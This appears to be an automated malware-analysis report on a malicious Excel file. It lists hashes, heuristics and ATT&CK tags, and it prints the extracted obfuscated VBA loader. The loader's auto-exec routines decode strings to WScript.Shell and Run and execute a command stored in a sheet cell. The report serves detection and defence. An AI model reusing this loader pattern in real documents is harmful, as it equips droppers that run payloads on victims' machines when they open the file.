Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51477314506cce74…

MALICIOUS

Office (OLE)

375.0 KB Created: 2018-07-12 03:48:52 Authoring application: Microsoft Excel First seen: 2018-07-23
MD5: 216dcba20b754f46c7a07dcd07697ff7 SHA-1: 3e7d204be2fc9ffcecb0098cb2b8642c692a2522 SHA-256: 51477314506cce74aacb63c7f72d5e97d1f245c3ca4a4bb94ddf19c6fb43a397
382 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Excel file contains heavily obfuscated VBA and XLM macros, including auto-executing Document_Open and Workbook_Open routines. The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates the use of CreateObject and execution sinks, suggesting the macro's purpose is to download and execute a second-stage payload. The presence of the ClamAV detection 'Xls.Malware.Valyria-6700361-0' further confirms its malicious nature, likely delivered via spearphishing.

Heuristics 11

  • ClamAV: Xls.Malware.Valyria-6700361-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700361-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 229 bytes
SHA-256: b07e9b3c0bc67a5abf1f3d5a279d12af20bcec7c89268c78faaa2dc946b3582d
Preview script
First 1,000 lines of the extracted script
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MPro
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1939 bytes
SHA-256: 0f3f04f4939b191b45f3398546510c78432d5afdfa8e0d99cb3b5f8a52cc2e31
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Function WXXDRWFO() As String
Dim WXXDRWFO = aWXXDRWFO
DimssRepl Fep(aWXXDRWFO & vWXXDRWFO, 11))
Dssfffd t(aWXXDRWFO))
dRepl dd(a & vWXXDRWFO
ccxRepl Fep(aWXXDRWFO & vWXXDRWFO, 11))
End Function

Public Sub Document_Open()
    Application.Run YZ_("9198A6A0AE")
End Sub
Private Function AFEKZDGQ() As String
Dim AFEKZDGQ = aAFEKZDGQ
DimssRepl Fep(aAFEKZDGQ & vAFEKZDGQ, 11))
Dssfffd t(aAFEKZDGQ))
dRepl dd(a & vAFEKZDGQ
ccxRepl Fep(aAFEKZDGQ & vAFEKZDGQ, 11))
End Function

Public Function YZ_(ByVal ZJ_ As String)
   Dim NEJ_ As String
   Dim F_ As Long
   For F_ = 1 To Len(ZJ_) Step 2
        Dim I_ As Long: I_ = CLng(Chr(38) & Chr(72) & Mid(ZJ_, F_, 2))
        NEJ_ = NEJ_ & Chr(I_ - 79)
   Next
   YZ_ = NEJ_
End Function
Private Function YPIUHVFK() As String
Dim YPIUHVFK = aYPIUHVFK
DimssRepl Fep(aYPIUHVFK & vYPIUHVFK, 11))
Dssfffd t(aYPIUHVFK))
dRepl dd(a & vYPIUHVFK
ccxRepl Fep(aYPIUHVFK & vYPIUHVFK, 11))
End Function

Sub Workbook_Open()
    BIWQ_
End Sub
Private Function TJAZTJAF() As String
Dim TJAZTJAF = aTJAZTJAF
DimssRepl Fep(aTJAZTJAF & vTJAZTJAF, 11))
Dssfffd t(aTJAZTJAF))
dRepl dd(a & vTJAZTJAF
ccxRepl Fep(aTJAZTJAF & vTJAZTJAF, 11))
End Function

Sub BIWQ_()
    CallByName CreateObject(YZ_("A6A2B2C1B8BFC37DA2B7B4BBBB")), YZ_("A1C4BD"), VbMethod, YZ_(ThisWorkbook.Sheets("MProp").Range("J225").Value), 0, True
End Sub
Private Function FPFASIED() As String
Dim FPFASIED = aFPFASIED
DimssRepl Fep(aFPFASIED & vFPFASIED, 11))
Dssfffd t(aFPFASIED))
dRepl dd(a & vFPFASIED
ccxRepl Fep(aFPFASIED & vFPFASIED, 11))
End Function

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